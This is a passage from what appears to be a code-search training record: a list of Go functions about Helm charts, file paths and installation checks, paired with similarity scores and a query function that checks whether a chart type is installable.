device %q: %w\", device, err)\n\t}\n\n\t// When not found, the interface says to return (\"\", nil)\n\treturn \"\", nil\n}", "func findCode(name string, fileList map[string]string) (path string, st os.FileInfo, err error) {\n\tif strings.ContainsRune(name, os.PathSeparator) {\n\t\tif st, err := os.Stat(name); err == nil {\n\t\t\treturn name, st, nil\n\t\t}\n\t\treturn \"\", nil, fmt.Errorf(\"not found: %v\", name)\n\t}\n\n\tif path, ok := fileList[name]; ok {\n\t\tif st, err := os.Stat(path); err == nil {\n\t\t\treturn path, st, nil\n\t\t}\n\t}\n\treturn \"\", nil, fmt.Errorf(\"not found: %v\", name)\n}", "func FindLogFiles(path string) ([]string, []string, error) {\n\tif path == \"\" || path == \"console\" {\n\t\treturn nil, nil, os.ErrInvalid\n\t}\n\tif !FileExists(path) {\n\t\treturn nil, nil, os.ErrNotExist\n\t}\n\tfileDir, fileName := filepath.Split(path)\n\tbaseName, ext := SplitExt(fileName)\n\tpattern := regexp.MustCompile(`^\\.\\d{4}-(0[1-9]|1[0-2])-(0[1-9]|[12][0-9]|3[01])$`)\n\tif fileDir == \"\" {\n\t\tfileDir = \".\"\n\t}\n\tfiles, err := os.ReadDir(fileDir)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tlogs := make([]string, 0)\n\tdates := make([]string, 0)\n\tlogs = append(logs, path)\n\tdates = append(dates, \"\")\n\tfor _, file := range files {\n\t\tif strings.HasPrefix(file.Name(), baseName) && strings.HasSuffix(file.Name(), ext) {\n\t\t\ttailPart := strings.TrimPrefix(file.Name(), baseName)\n\t\t\tdatePart := strings.TrimSuffix(tailPart, ext)\n\t\t\tif pattern.MatchString(datePart) {\n\t\t\t\tlogs = append(logs, filepath.Join(fileDir, file.Name()))\n\t\t\t\tdates = append(dates, datePart[1:])\n\t\t\t}\n\t\t}\n\t}\n\treturn logs, dates, nil\n}", "func Find(dir, name string) (parent string, err error) {\n\t// There's a lot of duplication here with FindIn.\n\t// But the amount of work to get os.DirFS to work correctly across platforms\n\t// is more than the amount of work required to just duplicate the code.\n\tif dir == \"\" {\n\t\treturn \"\", errors.New(\"dir cannot be empty\")\n\t}\n\tif name == \"\" {\n\t\treturn \"\", errors.New(\"name cannot be empty\")\n\t}\n\tdir = filepath.Clean(dir)\n\tfor {\n\t\tcandidate := filepath.Join(dir, name)\n\t\t_, err := os.Stat(candidate)\n\t\tif err == nil {\n\t\t\treturn dir, nil\n\t\t}\n\t\tparent := filepath.Dir(dir)\n\t\tif parent == dir {\n\t\t\t// Hit root.\n\t\t\treturn \"\", os.ErrNotExist\n\t\t}\n\t\t// Pop up a directory.\n\t\tdir = parent\n\t}\n}", "func lookPathFallback(file string, fallbackDir string) (string, error) {\n\tbinPath, err := exec.LookPath(file)\n\tif err == nil {\n\t\treturn binPath, nil\n\t}\n\n\tabs := path.Join(fallbackDir, file)\n\treturn exec.LookPath(abs)\n}", "func (o *KubernetesAddonDefinitionAllOf) GetChartUrl() string {\n\tif o == nil || o.ChartUrl == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.ChartUrl\n}", "func (m *Config) FindDuplicateChartName() (duplicates []string) {\n\tchartNames := []string{}\n\n\tfor _, i := range m.Maps {\n\t\t_, exists := find.Slice(chartNames, i.ChartName)\n\t\tif exists {\n\t\t\tduplicates = append(duplicates, i.ChartName)\n\t\t} else {\n\t\t\tchartNames = append(chartNames, i.ChartName)\n\t\t}\n\t}\n\n\treturn\n}", "func DownloadChartFromHelmRepo(configMap *corev1.ConfigMap, secret *corev1.Secret, chartsDir string, s *appv1alpha1.HelmRelease) (chartDir string, err error) {\n\tsrLogger := log.WithValues(\"HelmRelease.Namespace\", s.Namespace, \"SubscrptionRelease.Name\", s.Name)\n\tif s.Spec.Source.HelmRepo == nil {\n\t\terr := fmt.Errorf(\"HelmRepo type but Spec.HelmRepo is not defined\")\n\t\treturn \"\", err\n\t}\n\tif _, err := os.Stat(chartsDir); os.IsNotExist(err) {\n\t\terr := os.MkdirAll(chartsDir, 0755)\n\t\tif err != nil {\n\t\t\tsrLogger.Error(err, \"Unable to create chartDir: \", \"chartsDir\", chartsDir)\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\thttpClient, err := GetHelmRepoClient(s.Namespace, configMap)\n\tif err != nil {\n\t\tsrLogger.Error(err, \"Failed to create httpClient \", \"sr.Spec.SecretRef.Name\", s.Spec.SecretRef.Name)\n\t\treturn \"\", err\n\t}\n\tvar downloadErr error\n\tfor _, urlelem := range s.Spec.Source.HelmRepo.Urls {\n\t\tvar URLP *url.URL\n\t\tURLP, downloadErr = url.Parse(urlelem)\n\t\tif err != nil {\n\t\t\tsrLogger.Error(downloadErr, \"url\", urlelem)\n\t\t\tcontinue\n\t\t}\n\t\tfileName := filepath.Base(URLP.Path)\n\t\t// Create the file\n\t\tchartZip := filepath.Join(chartsDir, fileName)\n\t\tif _, err := os.Stat(chartZip); os.IsNotExist(err) {\n\t\t\tvar req *http.Request\n\t\t\treq, downloadErr = http.NewRequest(http.MethodGet, urlelem, nil)\n\t\t\tif downloadErr != nil {\n\t\t\t\tsrLogger.Error(downloadErr, \"Can not build request: \", \"urlelem\", urlelem)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif secret != nil && secret.Data != nil {\n\t\t\t\treq.SetBasicAuth(string(secret.Data[\"user\"]), string(secret.Data[\"password\"]))\n\t\t\t}\n\t\t\tvar resp *http.Response\n\t\t\tresp, downloadErr = httpClient.Do(req)\n\t\t\tif downloadErr != nil {\n\t\t\t\tsrLogger.Error(downloadErr, \"Http request failed: \", \"urlelem\", urlelem)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tsrLogger.Info(\"Get suceeded: \", \"urlelem\", urlelem)\n\t\t\tdefer resp.Body.Close()\n\t\t\tvar out *os.File\n\t\t\tout, downloadErr = os.Create(chartZip)\n\t\t\tif downloadErr != nil {\n\t\t\t\tsrLogger.Error(downloadErr, \"Failed to create: \", \"chartZip\", chartZip)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tdefer out.Close()\n\n\t\t\t// Write the body to file\n\t\t\t_, downloadErr = io.Copy(out, resp.Body)\n\t\t\tif downloadErr != nil {\n\t\t\t\tsrLogger.Error(downloadErr, \"Failed to copy body: \", \"chartZip\", chartZip)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tvar r *os.File\n\t\tr, downloadErr = os.Open(chartZip)\n\t\tif downloadErr != nil {\n\t\t\tsrLogger.Error(downloadErr, \"Failed to open: \", \"chartZip\", chartZip)\n\t\t\tcontinue\n\t\t}\n\t\tchartDirUnzip := filepath.Join(chartsDir, s.Spec.ReleaseName, s.Namespace)\n\t\tchartDir = filepath.Join(chartDirUnzip, s.Spec.ChartName)\n\t\t//Clean before untar\n\t\tos.RemoveAll(chartDirUnzip)\n\t\tdownloadErr = Untar(chartDirUnzip, r)\n\t\tif downloadErr != nil {\n\t\t\t//Remove zip because failed to untar and so probably corrupted\n\t\t\tos.RemoveAll(chartZip)\n\t\t\tsrLogger.Error(downloadErr, \"Failed to unzip: \", \"chartZip\", chartZip)\n\t\t\tcontinue\n\t\t}\n\t}\n\treturn chartDir, downloadErr\n}", "func FindIn(fsys fs.FS, dir, name string) (parent string, err error) {\n\tif dir == \"\" {\n\t\treturn \"\", errors.New(\"dir cannot be empty\")\n\t}\n\tif name == \"\" {\n\t\treturn \"\", errors.New(\"name cannot be empty\")\n\t}\n\tdir = filepath.Clean(dir)\n\tfor {\n\t\tcandidate := filepath.Join(dir, name)\n\t\tif !fs.ValidPath(candidate) {\n\t\t\treturn \"\", fmt.Errorf(\"invalid path: %q\", candidate)\n\t\t}\n\t\t_, err := fs.Stat(fsys, candidate)\n\t\tif err == nil {\n\t\t\treturn dir, nil\n\t\t}\n\t\tif dir == \".\" || dir == \"/\" {\n\t\t\t// Hit root.\n\t\t\treturn \"\", os.ErrNotExist\n\t\t}\n\t\t// Pop up a directory.\n\t\tdir = filepath.Dir(dir)\n\t}\n}", "func LocateConfigFile(basename string) string {\n\tvar exePath, err = exec.LookPath(os.Args[0])\n\tif err != nil {\n\t\tlog.Print(\"Warning: \", err)\n\t\texePath = os.Args[0]\n\t}\n\ts, err := filepath.Abs(exePath)\n\tif err != nil {\n\t\tlog.Print(\"Warning: \", err)\n\t} else {\n\t\texePath = s\n\t}\n\texePath, _ = filepath.Split(exePath)\n\texePath = filepath.ToSlash(exePath)\n\n\tif strings.HasPrefix(exePath, \"/usr/bin/\") {\n\t\texePath = strings.Replace(exePath, \"/usr/bin/\", \"/etc/\", 1)\n\t} else {\n\t\texePath = strings.Replace(exePath, \"/bin/\", \"/etc/\", 1)\n\t}\n\n\treturn filepath.FromSlash(exePath) + basename\n}", "func New(ctx context.Context, d *dut.DUT, altHostname, outDir string, chartPaths []string) (*Chart, []NamePath, error) {\n\tvar conn *ssh.Conn\n\n\t// Connect to chart tablet.\n\tif len(altHostname) > 0 {\n\t\tc, err := connectChart(ctx, d, altHostname)\n\t\tif err != nil {\n\t\t\treturn nil, nil, errors.Wrapf(err, \"failed to connect to chart with hostname %v\", altHostname)\n\t\t}\n\t\tconn = c\n\t} else {\n\t\tc, err := d.DefaultCameraboxChart(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, nil, errors.Wrap(err, \"failed to connect to chart with default '-tablet' suffix hostname\")\n\t\t}\n\t\tconn = c\n\t}\n\n\treturn SetUp(ctx, conn, outDir, chartPaths)\n}", "func ConfigPath() (string, error) {\n\tconfigOnce.Do(func() {\n\t\t// getting home directory.\n\t\thome, err := homedir.Dir()\n\t\tif err != nil {\n\t\t\tconfigErr = fmt.Errorf(\"[err] ConfigPath %w\", err)\n\t\t\treturn\n\t\t}\n\n\t\t// make config directory\n\t\tpath := filepath.Join(home, \".findgs\")\n\t\tif _, err := os.Stat(path); os.IsNotExist(err) {\n\t\t\tif suberr := os.MkdirAll(path, os.ModePerm); suberr != nil {\n\t\t\t\tconfigErr = fmt.Errorf(\"[err] NewSearcher %w\", suberr)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tconfigPath = path\n\t})\n\treturn configPath, configErr\n}", "func (cfg X509Config) PkiCADir() (string, error) {\n\tdir, err := filepath.Abs(cfg.WorkingDir)\n\tif err != nil {\n\t\t// Looking at the implementation of filepath.Abs it does NOT verify the existence of the path\n\t\treturn \"\", fmt.Errorf(\"unable to determine absolute path -- %s\", err.Error())\n\t}\n\t// pkiCaDir: Concatenate working dir absolute path with PKI setup dir, using separator \"/\"\n\treturn strings.Join([]string{dir, cfg.PKISetupDir, cfg.RootCA.CAName}, \"/\"), nil\n}", "func getChart(c *stablev1.Chart) error {\n\texec.Command(\"helm\", \"repo\", \"update\")\n\tif err := os.MkdirAll(\"chart/\"+c.Spec.Version, os.ModePerm); err != nil {\n\t\tfmt.Printf(\"%v\\n\", err)\n\t}\n\tcmd := exec.Command(\"helm\",\n\t\t\"fetch\",\n\t\t\"--untar\",\n\t\t\"--version=\"+c.Spec.Version,\n\t\t\"--untardir=chart/\"+c.Spec.Version,\n\t\tc.Spec.Repo+\"/\"+c.Spec.Chart)\n\tvar out bytes.Buffer\n\tvar stderr bytes.Buffer\n\tcmd.Stdout = &out\n\tcmd.Stderr = &stderr\n\terr := cmd.Run()\n\tif err != nil {\n\t\tfmt.Println(fmt.Sprint(err) + \": \" + stderr.String())\n\t\treturn err\n\t}\n\treturn nil\n}", "func findPackage(packageName string) string {\n\tif packageName == \"\" {\n\t\treturn \"\"\n\t}\n\n\tfor _, srcPath := range srcPaths {\n\t\tpackagePath := filepath.Join(srcPath, packageName)\n\t\tif e, _ := exists(packagePath); e {\n\t\t\treturn packagePath\n\t\t}\n\t}\n\n\treturn \"\"\n}", "func FindCgroupPath(pid, subsystem, innerPath string) (string, error) {\n\tcgroupRoot, err := cgroups.FindCgroupMountpointDir()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tmnt, root, err := cgroups.FindCgroupMountpointAndRoot(subsystem)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif filepath.IsAbs(innerPath) {\n\t\treturn filepath.Join(cgroupRoot, filepath.Base(mnt), innerPath), nil\n\t}\n\tinitPath, err := GetCgroupDir(pid, subsystem)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// This is needed for nested containers, because in /proc/pid/cgroup we\n\t// see pathes from host, which don't exist in container.\n\trelDir, err := filepath.Rel(root, initPath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn filepath.Join(mnt, relDir), nil\n}", "func (r *vdm) Path(volumeName, volumeID string) (string, error) {\n\tfor _, d := range r.drivers {\n\t\tfields := log.Fields{\n\t\t\t\"moduleName\": r.rexray.Context,\n\t\t\t\"driverName\": d.Name(),\n\t\t\t\"volumeName\": volumeName,\n\t\t\t\"volumeID\": volumeID}\n\n\t\tlog.WithFields(fields).Info(\"vdm.Path\")\n\n\t\tif !r.pathCache() {\n\t\t\treturn d.Path(volumeName, volumeID)\n\t\t}\n\n\t\tif _, ok := r.mapUsedCount[volumeName]; !ok {\n\t\t\tlog.WithFields(fields).Debug(\"skipping path lookup\")\n\t\t\treturn \"\", nil\n\t\t}\n\n\t\treturn d.Path(volumeName, volumeID)\n\t}\n\treturn \"\", errors.ErrNoVolumesDetected\n}", "func (r *ChartRepoReconciler) syncCharts(cr *v1beta1.ChartRepo, ctx context.Context) error {\n\tlog := r.Log.WithValues(\"chartrepo\", cr.GetName())\n\n\tchecked := map[string]bool{}\n\texistCharts := map[string]v1beta1.Chart{}\n\n\tindex, err := r.GetIndex(cr, ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// this may causes bugs\n\tfor name := range index.Entries {\n\t\tchecked[strings.ToLower(name)] = true\n\t}\n\n\tlog.Info(\"retrieve charts from repo\", \"count\", len(index.Entries))\n\n\tvar charts v1beta1.ChartList\n\tlabels := client.MatchingLabels{\n\t\t\"repo\": cr.GetName(),\n\t}\n\tif err := r.List(ctx, &charts, labels, client.InNamespace(r.Namespace)); err != nil {\n\t\treturn err\n\t}\n\tfor _, item := range charts.Items {\n\t\tname := strings.Split(item.GetName(), \".\")[0]\n\t\t//TODO: check out why this broke\n\t\tif strings.Contains(item.GetName(), cr.GetName()) {\n\t\t\texistCharts[name] = item\n\t\t}\n\n\t}\n\tlog.Info(\"retrieve charts from cluster\", \"count\", len(charts.Items), \"left\", len(existCharts))\n\n\tfor on, versions := range index.Entries {\n\t\tname := strings.ToLower(on)\n\t\tchart := generateChartResource(versions, name, cr)\n\t\t// chart name can be uppercase in helm\n\t\tif _, ok := existCharts[name]; !ok {\n\t\t\tlog.Info(\"chart not found, create\", \"name\", cr.GetName()+\"/\"+on)\n\t\t\terr := r.Create(ctx, chart)\n\t\t\tif err != nil {\n\t\t\t\tif !apierrs.IsAlreadyExists(err) {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\told := existCharts[name]\n\t\tif compareChart(old, chart) {\n\t\t\tchart.SetResourceVersion(old.GetResourceVersion())\n\t\t\tif err := r.Update(ctx, chart); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tlog.Info(\"update chart\", \"name\", old.Name, \"repo\", cr.Name)\n\t\t}\n\n\t}\n\n\tfor name, item := range existCharts {\n\t\tif !checked[name] {\n\t\t\tdc := item\n\t\t\tdc.SetNamespace(cr.GetNamespace())\n\t\t\tif err := r.Delete(ctx, &dc); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tlog.Info(\"delete charts\", \"name\", item.GetName())\n\t\t}\n\t}\n\n\treturn nil\n}" ]
[ "0.70844996", "0.6769755", "0.6639266", "0.64382845", "0.57238185", "0.5674744", "0.5130903", "0.48895267", "0.47821742", "0.46471423", "0.45921183", "0.45472524", "0.4545822", "0.45397443", "0.4526204", "0.45089817", "0.44530502", "0.44410527", "0.44367608", "0.44095662", "0.44050106", "0.44020304", "0.43711448", "0.43614802", "0.43608326", "0.43602544", "0.43506494", "0.4318836", "0.42950246", "0.4290059", "0.4274953", "0.42527014", "0.42134276", "0.42124313", "0.42093766", "0.41849288", "0.417943", "0.41753873", "0.41743818", "0.41725457", "0.41678858", "0.41666558", "0.41612354", "0.41612226", "0.4153398", "0.41459328", "0.41431814", "0.41375992", "0.41336402", "0.413243", "0.4118592", "0.41089332", "0.41088325", "0.40986827", "0.40773413", "0.4069955", "0.40685207", "0.4058609", "0.40556353", "0.4050143", "0.40445966", "0.40407473", "0.40332875", "0.401744", "0.40139845", "0.40084156", "0.40011594", "0.39997467", "0.39968345", "0.399618", "0.39899862", "0.39897144", "0.3983971", "0.39827648", "0.3982599", "0.39824262", "0.3975855", "0.39678112", "0.39615262", "0.39599094", "0.39591056", "0.39473003", "0.39401984", "0.39265022", "0.39187208", "0.39055884", "0.38978884", "0.38941547", "0.38912502", "0.38903227", "0.38858885", "0.38843533", "0.38725132", "0.3866648", "0.38611227", "0.38590634", "0.3852391", "0.38514963", "0.38454154", "0.38434678" ]
0.7282314
0
checkIfInstallable validates if a chart can be installed Application chart type is only installable
func checkIfInstallable(ch *chart.Chart) error { switch ch.Metadata.Type { case "", "application": return nil } return errors.Errorf("%s charts are not installable", ch.Metadata.Type) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func CheckIfInstallable(chart *chart.Chart) error {\n\tswitch chart.Metadata.Type {\n\tcase \"\", \"application\":\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"chart %s is %s, which is not installable\", chart.Name(), chart.Metadata.Type)\n}", "func isChartInstallable(ch *chart.Chart) (bool, error) {\n\tswitch ch.Metadata.Type {\n\tcase \"\", \"application\":\n\t\treturn true, nil\n\t}\n\treturn false, liberrors.Errorf(\"%s charts are not installable\", ch.Metadata.Type)\n}", "func isChartInstallable(ch *chart.Chart) (bool, error) {\n\tswitch ch.Metadata.Type {\n\tcase \"\", \"application\":\n\t\treturn true, nil\n\t}\n\treturn false, errors.Errorf(\"%s charts are not installable\", ch.Metadata.Type)\n}", "func (c *Module) IsInstallableToApex() bool {\n\tif shared, ok := c.linker.(interface {\n\t\tshared() bool\n\t}); ok {\n\t\t// Stub libs and prebuilt libs in a versioned SDK are not\n\t\t// installable to APEX even though they are shared libs.\n\t\treturn shared.shared() && !c.IsStubs() && c.ContainingSdk().Unversioned()\n\t} else if _, ok := c.linker.(testPerSrc); ok {\n\t\treturn true\n\t}\n\treturn false\n}", "func (bm *DockerBenchmarker) CheckDisallowedPackages() {\n\t// no disallowed packages are provided\n\tif bm.disallowedPackages == nil {\n\t\treturn\n\t}\n\n\tviolationMap := map[string]bool{}\n\n\tfor file, df := range bm.dfiles {\n\t\tfor disallowedPkg := range bm.disallowedPackages {\n\t\t\t// apt\n\t\t\tidxs := df.LookupInstructionAndContent(dockerfile.Run, `apt\\s+install\\s+[^;|&]+`+disallowedPkg)\n\t\t\tif len(idxs) > 0 {\n\t\t\t\tviolation := createViolation(file, disallowedPkg)\n\t\t\t\tviolationMap[violation] = true\n\t\t\t}\n\n\t\t\t// apt-get\n\t\t\tidxs = df.LookupInstructionAndContent(dockerfile.Run, `apt-get\\s+install\\s+[^;|&]+`+disallowedPkg)\n\t\t\tif len(idxs) > 0 {\n\t\t\t\tviolation := createViolation(file, disallowedPkg)\n\t\t\t\tviolationMap[violation] = true\n\t\t\t}\n\n\t\t\t// apk\n\t\t\tidxs = df.LookupInstructionAndContent(dockerfile.Run, `apk\\s+add\\s+[^;|&]+`+disallowedPkg)\n\t\t\tif len(idxs) > 0 {\n\t\t\t\tviolation := createViolation(file, disallowedPkg)\n\t\t\t\tviolationMap[violation] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tbm.violationReport.AddViolation(benchmark.CIS_4_3, utils.MapToArray(violationMap))\n}", "func IsInstalled(runner kubectl.Runner) bool {\n\t// Basically, we test \"all-or-nothing\" here: if this returns without error\n\t// we know that we have both the namespace and the manager API server.\n\t_, err := runner.GetByKind(\"rc\", \"manager-rc\", \"helm\")\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn true\n}", "func (c Initializer) verifyIsNotInstalled(client crdclient.CustomResourceDefinitionsGetter, crd *apiextv1.CustomResourceDefinition, result *verifier.Result) error {\n\t_, err := client.CustomResourceDefinitions().Get(context.TODO(), crd.Name, v1.GetOptions{})\n\tif err != nil {\n\t\tif kerrors.IsNotFound(err) {\n\t\t\treturn nil\n\t\t}\n\t\treturn err\n\t}\n\tresult.AddErrors(fmt.Sprintf(\"CRD %s is already installed. Did you mean to use --upgrade?\", crd.Name))\n\treturn nil\n}", "func checkAlreadyInstalled(\n\ttracer trace.Tracer,\n\tcontext context.T,\n\trepository localpackages.Repository,\n\tinstalledVersion string,\n\tinstallState localpackages.InstallState,\n\tinst installer.Installer,\n\tuninst installer.Installer,\n\toutput contracts.PluginOutputter) bool {\n\n\tcheckTrace := tracer.BeginSection(\"check if already installed\")\n\tdefer checkTrace.End()\n\n\tif inst != nil {\n\t\ttargetVersion := inst.Version()\n\t\tpackageName := inst.PackageName()\n\t\tvar instToCheck installer.Installer\n\n\t\t// TODO: When existing packages have idempotent installers and no reboot loops, remove this check for installing packages and allow the install to continue until it reports success without reboot\n\t\tif uninst != nil && installState == localpackages.RollbackInstall {\n\t\t\t// This supports rollback to a version whose installer contains an unconditional reboot\n\t\t\tinstToCheck = uninst\n\t\t}\n\t\tif (targetVersion == installedVersion &&\n\t\t\t(installState == localpackages.Installed || installState == localpackages.Unknown)) ||\n\t\t\tinstallState == localpackages.Installing || installState == localpackages.Updating {\n\t\t\tinstToCheck = inst\n\t\t}\n\t\tif instToCheck != nil {\n\t\t\tvalidateTrace := tracer.BeginSection(fmt.Sprintf(\"run validate for %s/%s\", instToCheck.PackageName(), instToCheck.Version()))\n\n\t\t\tvalidateOutput := instToCheck.Validate(tracer, context)\n\t\t\tvalidateTrace.WithExitcode(int64(validateOutput.GetExitCode()))\n\n\t\t\tif validateOutput.GetStatus() == contracts.ResultStatusSuccess {\n\t\t\t\tif installState == localpackages.Installing || installState == localpackages.Updating {\n\t\t\t\t\tvalidateTrace.AppendInfof(\"Successfully installed %v %v\", packageName, targetVersion)\n\t\t\t\t\tif uninst != nil {\n\t\t\t\t\t\tcleanupAfterUninstall(tracer, repository, uninst, output)\n\t\t\t\t\t}\n\t\t\t\t\toutput.MarkAsSucceeded()\n\t\t\t\t} else if installState == localpackages.RollbackInstall {\n\t\t\t\t\tvalidateTrace.AppendInfof(\"Failed to install %v %v, successfully rolled back to %v %v\", uninst.PackageName(), uninst.Version(), inst.PackageName(), inst.Version())\n\t\t\t\t\tcleanupAfterUninstall(tracer, repository, inst, output)\n\t\t\t\t\toutput.MarkAsFailed(nil, nil)\n\t\t\t\t} else if installState == localpackages.Unknown {\n\t\t\t\t\tvalidateTrace.AppendInfof(\"The package install state is Unknown. Continue to check if there are package files already downloaded.\")\n\t\t\t\t\tif err := repository.ValidatePackage(tracer, packageName, targetVersion); err != nil {\n\t\t\t\t\t\t// If the install state is Unkown and there's no package files downloaded previously, need to return false here so that the package can be downloaded and installed again.\n\t\t\t\t\t\t// This scenario happens when the installation of a package fails because package download fails due to lack of permissions (s3 bucket policy etc.)\n\t\t\t\t\t\tvalidateTrace.AppendInfof(\"There are no package files downloaded.\")\n\t\t\t\t\t\tvalidateTrace.End()\n\t\t\t\t\t\tcheckTrace.WithExitcode(1)\n\t\t\t\t\t\treturn false\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalidateTrace.AppendInfof(\"There are package files already downloaded. Considering the package has already been installed.\")\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvalidateTrace.AppendInfof(\"%v %v is already installed\", packageName, targetVersion).End()\n\t\t\t\t\toutput.MarkAsSucceeded()\n\t\t\t\t}\n\t\t\t\tif installState != localpackages.Installed && installState != localpackages.Unknown {\n\t\t\t\t\trepository.SetInstallState(tracer, packageName, instToCheck.Version(), localpackages.Installed)\n\t\t\t\t}\n\n\t\t\t\tvalidateTrace.End()\n\t\t\t\treturn true\n\t\t\t}\n\n\t\t\tvalidateTrace.AppendInfo(validateOutput.GetStdout())\n\t\t\tvalidateTrace.AppendError(validateOutput.GetStderr())\n\t\t\tvalidateTrace.End()\n\t\t}\n\t}\n\n\tcheckTrace.WithExitcode(1)\n\treturn false\n}", "func (mr *MockAPIMockRecorder) IsInstallable(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"IsInstallable\", reflect.TypeOf((*MockAPI)(nil).IsInstallable), arg0)\n}", "func (p *preImpl) checkUsable(ctx context.Context, pkgs map[string]struct{}) error {\n\tctx, st := timing.Start(ctx, \"check_arc\")\n\tdefer st.End()\n\n\tctx, cancel := context.WithTimeout(ctx, 5*time.Second)\n\tdefer cancel()\n\n\t// Check that the init process is the same as before. Otherwise, ARC was probably restarted.\n\tif pid, err := InitPID(); err != nil {\n\t\treturn err\n\t} else if pid != p.origInitPID {\n\t\treturn errors.Errorf(\"init process changed from %v to %v; probably crashed\", p.origInitPID, pid)\n\t}\n\n\t// Check that the package manager service is running.\n\tconst pkg = \"android\"\n\tif _, ok := pkgs[pkg]; !ok {\n\t\treturn errors.Errorf(\"pm didn't list %q among %d package(s)\", pkg, len(pkgs))\n\t}\n\n\t// TODO(nya): Should we also check that p.cr is still usable?\n\treturn nil\n}", "func checkAmbInstWithFlavor(kubectl Kubectl, flavor string) error {\n\tambInstallation, err := findAmbassadorInstallation(kubectl)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif ambInstallation.IsEmpty() {\n\t\treturn errors.New(\"no AmbassadorInstallation found\")\n\t}\n\n\tif !ambInstallation.IsInstalled() {\n\t\treturn errors.New(\"AmbassadorInstallation is not installed\")\n\t}\n\n\treason, message := ambInstallation.LastConditionExplain()\n\tif strings.Contains(reason, \"Error\") {\n\t\treturn LoopFailedError(message)\n\t}\n\n\tf, err := ambInstallation.GetFlavor()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif f != flavor {\n\t\treturn errors.New(fmt.Sprintf(\"AmbassadorInstallation is not a %s installation\", flavor))\n\t}\n\treturn nil\n}", "func verifyValidInstallType(t InstallType) error {\n\tswitch t {\n\tcase SelfInstall, KindCluster, NoInstall:\n\t\treturn nil\n\tdefault:\n\t\treturn fmt.Errorf(\"%s is not a valid InstallType (%s, %s, %s) \",\n\t\t\tt, SelfInstall, KindCluster, NoInstall)\n\t}\n}", "func (o *KubernetesAddonDefinitionAllOf) HasChartUrl() bool {\n\tif o != nil && o.ChartUrl != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func isPackageInstalled(pkgName string) bool {\n\tcmd := exec.Command(\"python\", \"-m\", \"pip\", \"show\", pkgName)\n\tif err := cmd.Run(); err != nil {\n\t\tif _, ok := err.(*exec.ExitError); ok {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "func (*InstSExt) isInst() {}", "func (*InstFPExt) isInst() {}", "func (c *Module) EverInstallable() bool {\n\treturn c.installer != nil &&\n\t\t// Check to see whether the module is actually ever installable.\n\t\tc.installer.everInstallable()\n}", "func (e *Exporter) IsInstalled(app *procfile.Application) bool {\n\treturn fsutil.IsExist(e.unitPath(app.Name))\n}", "func (r ChartGroupReconciler) installArmadaChartGroup(mgr armadaif.ArmadaChartGroupManager, instance *av1.ArmadaChartGroup) (bool, error) {\n\treclog := acglog.WithValues(\"namespace\", instance.Namespace, \"acg\", instance.Name)\n\treclog.Info(\"Updating\")\n\n\t// The concept of installing a chartgroup is kind of fuzzy since\n\t// the mgr can not really create chart. It can only check\n\t// that the charts are present before beeing able to proceed.\n\tinstalledResource, err := mgr.InstallResource(context.TODO())\n\tif err != nil {\n\t\tinstance.Status.RemoveCondition(av1.ConditionRunning)\n\n\t\thrc := av1.HelmResourceCondition{\n\t\t\tType: av1.ConditionFailed,\n\t\t\tStatus: av1.ConditionStatusTrue,\n\t\t\tReason: av1.ReasonInstallError,\n\t\t\tMessage: err.Error(),\n\t\t}\n\t\tinstance.Status.SetCondition(hrc, instance.Spec.TargetState)\n\t\tr.logAndRecordFailure(instance, &hrc, err)\n\n\t\t_ = r.updateResourceStatus(instance)\n\t\treturn false, err\n\t}\n\tinstance.Status.RemoveCondition(av1.ConditionFailed)\n\n\tif err := r.watchArmadaCharts(instance, installedResource); err != nil {\n\t\treturn false, err\n\t}\n\n\thrc := av1.HelmResourceCondition{\n\t\tType: av1.ConditionRunning,\n\t\tStatus: av1.ConditionStatusTrue,\n\t\tReason: av1.ReasonInstallSuccessful,\n\t\tMessage: \"HardcodedMessage\",\n\t\tResourceName: installedResource.GetName(),\n\t}\n\tinstance.Status.SetCondition(hrc, instance.Spec.TargetState)\n\tr.logAndRecordSuccess(instance, &hrc)\n\n\terr = r.updateResourceStatus(instance)\n\treturn true, err\n}", "func (addon Addon) HasToBeApplied(addonConfiguration AddonConfiguration, skubaConfiguration *skuba.SkubaConfiguration) (bool, error) {\n\tif !addon.IsPresentForClusterVersion(addonConfiguration.ClusterVersion) {\n\t\t// TODO (ereslibre): this logic can be triggered if some registered\n\t\t// addons are not supported in all Kubernetes versions. Either:\n\t\t//\n\t\t// a) When rendering all addons on `skuba cluster init`, we skip those\n\t\t// that don't apply to the chosen Kubernetes version.\n\t\t//\n\t\t// b) When running `skuba addon upgrade apply`; in this case (hence the\n\t\t// TODO), should we trigger a deletion of the addons that are not present\n\t\t// in the new version but were present on the old Kubernetes version? For\n\t\t// now, just return that it doesn't have to be applied.\n\t\treturn false, nil\n\t}\n\t// Check whether this is a CNI addon and whether its base config has been 